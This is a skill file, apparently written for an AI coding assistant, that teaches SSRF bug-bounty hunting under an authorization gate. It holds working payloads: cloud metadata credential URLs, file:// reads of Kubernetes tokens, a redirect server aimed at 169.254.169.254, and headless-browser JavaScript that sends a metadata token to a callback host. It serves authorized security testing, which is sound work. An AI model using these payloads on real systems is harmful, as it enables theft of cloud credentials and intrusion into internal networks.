Installs into .claude/skills of the current project.
Are you the author of Hunt Ssrf?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/sickn33-hunt-ssrf-d39e9661)
---
name: hunt-ssrf
description: Hunting skill for ssrf vulnerabilities.
category: security
risk: offensive
source: https://github.com/elementalsouls/Claude-BugHunter
source_repo: elementalsouls/Claude-BugHunter
source_type: community
date_added: '2026-09-20'
license: MIT
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
compatibility: Requires explicit written authorization for a target scope plus the
relevant testing tools for this technique. Docs-only; helper scripts and commands
not bundled.
sources: github, hackerone_public, portswigger_research, binarysecurity_research
report_count: 34
---
> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
## Crown Jewel Targets
SSRF is highest-value when the target runs on cloud infrastructure (AWS, GCP, Azure) where metadata services expose credentials, or when the server sits inside a complex internal network (Kubernetes clusters, microservice meshes, internal APIs). Priority targets:
- **Cloud-hosted SaaS products** (GCP metadata at `169.254.169.254` or `metadata.google.internal`, AWS IMDSv1)
- **Kubernetes/orchestration platforms** — aggregated API servers, metrics-server, kubelet endpoints expose privileged cluster operations
- **Internal developer tooling** — CI/CD, workflow orchestration (Flyte, Argo), admin panels not exposed externally
- **Link preview / URL fetching features** — Reddit-style preview APIs, Slack-style unfurling, media processors
- **Dataset/file import pipelines** — anything that fetches remote URLs on behalf of a user
- **Enterprise self-hosted software** (GitHub Enterprise, GitLab) — SSRF frequently chains to RCE via internal services
Payouts are highest when SSRF reaches: cloud credentials → account takeover, internal admin APIs → data exfil, or chains to RCE.
---
## OOB-Or-It-Didn't-Happen Gate (Read First)
**Claims of blind SSRF require an out-of-band (OOB) confirmation. Always. No exceptions.**
OOB means: a Burp Collaborator domain, an `interactsh-client` listener, a canarytoken, or any DNS+HTTP receiver you control that confirms the server actually made an outbound network connection on your behalf.
### What is NOT confirmation of SSRF
- The server **echoing your URL back in an error message**. Example: `"The Web application at http://evil.example.com/x could not be found"` — this is the server formatting your input into an error string, NOT making an outbound HTTP request. The error came from string formatting, not from network failure.
- The server returning a different status code for an external URL vs `localhost`. Different error responses can come from URL-scheme validators, not from actual fetching.
- A delayed response when the URL is sent. Delay can come from DNS resolution attempts within the parser, not from completed HTTP fetches.
### What IS confirmation of SSRF
- A DNS lookup for your unique Collaborator subdomain appears in the OOB listener.
- An HTTP request to your Collaborator HTTP endpoint with the server's source IP and User-Agent.
- For SSRF in JavaScript-execution contexts (PDF renderers, headless browsers), a fetch from the server to your callback URL.
### Default workflow
1. **Plant the Collaborator payload first.** Sub-tagging (`dlsrcurl.<collab>`,
`import.<collab>`) only works if your listener actually reports the queried
subdomain back to you — **verify that before relying on it.** Burp's
`get_collaborator_interactions` keys results by **payload ID, not by subdomain**,
so several sub-tags generated from one payload are indistinguishable in the
output. When that is the case, **generate a fresh payload per candidate
parameter** and send exactly one request per payload.
2. **Send the request** to the target endpoint.
3. **Wait 30–120 seconds**, then poll the OOB listener.
4. **Only after a confirmed callback** do you claim SSRF.
5. If zero callbacks across all sub-tagged sinks: SSRF claims must be retracted, even if error messages echo URLs.
**Lesson from a authorized engagement:** SharePoint's `/_layouts/15/download.aspx?SourceUrl=` returned 500 with the title `"The Web application at <attacker-URL> could not be found"`. Initial scan flagged this as SSRF (server clearly processed the URL). 38 Collaborator-tagged payloads across 12+ URL-accepting parameters yielded **zero DNS or HTTP interactions**. The "echo" was client-side error-string formatting; the server never made an outbound HTTP request. The path is actually an SP-internal `SPFile`/`SPWebApplication` resolver, not a generic URL fetcher. Reporting this as SSRF would have been N/A'd at triage.
### Attribute the callback to ONE parameter before reporting
A callback proves the server made a request. It does **not** tell you which
parameter caused it, and the fix depends entirely on that.
```
BAD — four candidate fields, one payload, fired in one batch
-> callbacks arrive, attribution impossible, retest required
GOOD — fresh payload per field, one request each, poll between
url -> callbacks <- this is the sink
apiUrl -> none
endpoint -> none
target -> none
```
**Run the negative control.** A parameter that produces *no* callback is evidence,
and it belongs in the report — it is what lets the client fix the right field
instead of allowlisting the wrong one.
**Lesson from an authorized engagement.** A server-side request-forwarding endpoint
accepted both `url` and `apiUrl`. The application's own stored config used `apiUrl`,
so that was the obvious suspect — but `apiUrl` was inert and **`url` was the live
sink**.
Batch-firing both had produced callbacks with no attribution; only per-payload
isolation identified the real parameter. A report naming `apiUrl` would have sent
the client to patch a field that does nothing.
### Blind vs full-read — establish which before scoring
After a callback confirms the request leaves the server, **check whether the
upstream response body is returned to you.** These are different findings:
- **Blind** (callback only, no body): on the never-submit list standalone. Needs an
internal service reached, or data returned, to be reportable.
- **Full-read** (upstream body in the response): substantially higher severity —
read arbitrary internal endpoints directly.
```bash
# one request settles it: fetch something with a known, recognisable body
-d '{"url":"https://example.com/"}'
# {"statusCode":200,"data":"<!doctype html>...<title>Example Domain</title>..."}
# ^ body returned = full-read, not blind
```
Also body-diff a known-internal target against a known-external one. A **distinct
status** on a link-local address (e.g. `401` from `169.254.169.254` where every
other target returns `200`) is the metadata service answering — that proves reach
to a non-internet-routable address, which a status code alone otherwise cannot.
---
## Attack Surface Signals
### URL Patterns to Hunt
```
/api/*/preview
/api/*/fetch
/api/*/import
/api/*/webhook
/api/*/proxy
/api/*/render
/api/*/link
/api/*/screenshot
/api/*/export
/api/*/validate
?url=
?uri=
?endpoint=
?redirect=
?src=
?source=
?feed=
?host=
?target=
?dest=
?file=
?path=
?callback=
?image=
?load=
?fetch=
```
### JS Patterns (in client-side code)
```javascript
// Look for these in JS bundles
fetch(userInput)
axios.get(params.url)
XMLHttpRequest + variable URL
url: req.body.url
src: params.source
href: query.endpoint
```
### Response Header Signals
```
X-Forwarded-For headers echoed back
Server: internal-service
Via: 1.1 internal-proxy
X-Cache headers revealing internal hostnames
```
### Tech Stack Signals
- **Kubernetes** — any public-facing aggregated API, metrics endpoints
- **GCP** — any service fetching URLs that runs on Compute Engine/GKE
- **Node.js/Python** with URL-fetching libraries (`requests`, `node-fetch`, `axios`)
- **Headless browsers** (Puppeteer, PhantomJS) used for screenshots/PDF — extremely high value
- **XML/DSPL/CSV import features** — XXE-style SSRF vector
- **OAuth/webhook registration** endpoints
---
## Step-by-Step Hunting Methodology
1. **Map all URL-input parameters** across the target: spider JS files for fetch calls, check all API docs, look for file-import, link-preview, webhook, image-proxy, and redirect features.
2. **Set up an out-of-band detection server** using Burp Collaborator, interactsh, or `https://canarytokens.org` — you need a unique per-test DNS/HTTP callback domain.
3. **Send your callback URL as the parameter value first** (blind SSRF check before anything else):
```
url=https://YOUR.interactsh.com/test
```
Confirm the server makes an outbound connection. This proves execution before attempting internal targets.
4. **Test internal cloud metadata endpoints**:
- GCP: `http://metadata.google.internal/computeMetadata/v1/`
- AWS: `http://169.254.169.254/latest/meta-data/`
- Azure: `http://169.254.169.254/metadata/instance`
5. **Test localhost and common internal ports**:
```
http://localhost/
http://127.0.0.1:8080/
http://127.0.0.1:6443/ (Kubernetes API)
http://127.0.0.1:2379/ (etcd)
http://127.0.0.1:9090/ (Prometheus)
http://127.0.0.1:9200/ (Elasticsearch)
```
6. **Check for redirect-based SSRF** — if the endpoint validates the initial URL but follows 30x redirects, host a redirect server pointing to internal addresses. Kubernetes report (Report 3) was specifically triggered by hijacked API servers returning 30x responses.
7. **Test JavaScript-execution contexts** (headless browsers, PDF renderers):
- Inject `<script>` tags that make `XMLHttpRequest` or `fetch()` calls to internal services
- Exfil via DNS: encode response data in subdomain of your callback domain
8. **Enumerate the internal network** using timing differences and error message variations:
- Port scan via response time (`connection refused` vs timeout)
- Check error messages for hostname/IP leakage
9. **Chain findings** — if you have SSRF to internal services, look for:
- Unauthenticated admin endpoints
- Redis, memcached (protocol smuggling)
- Internal OAuth token endpoints
- SSRF → CSRF → RCE (GitHub Enterprise pattern)
10. **Document the full chain** with screenshots of each hop before reporting.
---
## Payload & Detection Patterns
### Basic Out-of-Band Detection
```bash
# Using interactsh-client
interactsh-client -v
# Test parameter
curl -s "https://target.com/api/preview?url=https://YOUR_ID.oast.pro"
# With common headers that might unlock SSRF
curl -s "https://target.com/api/fetch" \
-H "Content-Type: application/json" \
-d '{"url":"https://YOUR_ID.oast.pro"}'
```
### Cloud Metadata Payloads
```bash
# GCP - requires Metadata-Flavor header (test if server adds it automatically)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/computeMetadata/v1/project/project-id
http://metadata/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
# AWS IMDSv1 (no auth required)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data
# AWS ECS task credentials (retrieve from env var AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)
http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}
# Azure - instance metadata and managed identity token
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Requires Metadata: true header for Azure requests
# Kubernetes service account credentials (file:// SSRF)
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
```
### Localhost/Internal Port Payloads
```bash
# Kubernetes internals
http://127.0.0.1:6443/api/v1/namespaces
http://10.0.0.1:6443/api/v1/secrets
http://127.0.0.1:10250/pods # kubelet
http://127.0.0.1:2379/v2/keys # etcd
# Common internal services
http://127.0.0.1:6379/ # Redis (check for inline commands)
http://127.0.0.1:9200/_cat/indices # Elasticsearch
http://127.0.0.1:5601/ # Kibana
http://127.0.0.1:8500/v1/catalog/services # Consul
```
### Redirect-Based SSRF (when direct is blocked)
```python
# Simple Python redirect server
from http.server import HTTPServer, BaseHTTPRequestHandler
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
HTTPServer(('0.0.0.0', 8080), Redirect).serve_forever()
```
### JavaScript-Based SSRF (headless browser contexts)
```javascript
// Exfil via fetch
fetch('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', {
headers: {'Metadata-Flavor': 'Google'}
}).then(r=>r.text()).then(d=>{
fetch('https://YOUR.callback.com/?d='+btoa(d))
})
// DNS exfil for blind contexts
var x = new XMLHttpRequest();
x.open('GET','http://169.254.169.254/latest/meta-data/');
x.send();
x.onload = function(){
var img = new Image();
img.src = 'https://'+btoa(x.responseText.substring(0,50))+'.YOUR.callback.com';
}
```
### Grep Patterns for Source Code Review
```bash
# Find URL fetch operations
grep -rE "(fetch|curl|urllib|requests\.get|http\.get|axios\.get)\s*\(" --include="*.py" --include="*.js" --include="*.go"
# Find URL parameters being passed to HTTP clients
grep -rE "(url|uri|endpoint|redirect|src|source)\s*=\s*req\.(query|body|params)" --include="*.js"
# Find redirect following
grep -rE "(follow_redirects|allow_redirects|followRedirects)\s*=\s*[Tt]rue"
```
### ffuf Parameter Discovery
```bash
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u "https://target.com/api/endpoint?FUZZ=https://YOUR.callback.com" \
-fs 0 -mc all
```
---
## Common Root Causes
1. **"The user said it was safe"** — Developers trust user-supplied URLs for fetching remote resources (link previews, thumbnails, webhooks) without validating the destination. The feature is legitimate; the missing validation is the bug.
2. **Allowlist bypass via redirects** — Developers validate the initial URL against an allowlist but configure HTTP clients to follow redirects automatically. An attacker's server on the allowlist redirects to an internal address.
3. **Aggregated/proxy API trust** — Kubernetes-style architectures where an API aggregation layer blindly proxies 30x responses from registered extension servers. Compromising a single extension server gives SSRF into the core API.
4. **Server-side rendering without sandboxing** — Headless browser features (PDF generation, link preview screenshots) execute attacker-controlled JavaScript in a network-privileged context with access to metadata services.
5. **XML/DSPL/file parsers fetching external entities** — Import features that parse structured files (XML, DSPL, CSV with remote schemas) fetch attacker-controlled URLs, often with no URL validation at all.
6. **Internal hostname leakage via response differences** — Services return different error messages, timing, or response sizes for internal vs. external hosts, enabling blind enumeration even when content isn't returned.
7. **IMDSv1 still enabled** — Cloud deployments that haven't migrated to IMDSv2 (AWS) or haven't required the `Metadata-Flavor` header (GCP) allow unauthenticated credential access from any SSRF.
---
## Contents
- [Bypass Techniques](references/details.md)
- [Gate 0 Validation](references/details.md)
- [Real Impact Examples](references/details.md)
- [Disclosed Report Citations (Backfill +6 — 2018-2024)](references/details.md)
- [Related Skills & Chains](references/details.md)
## When to Use
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
## Limitations
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
### Example
```bash
# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement brief
```
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.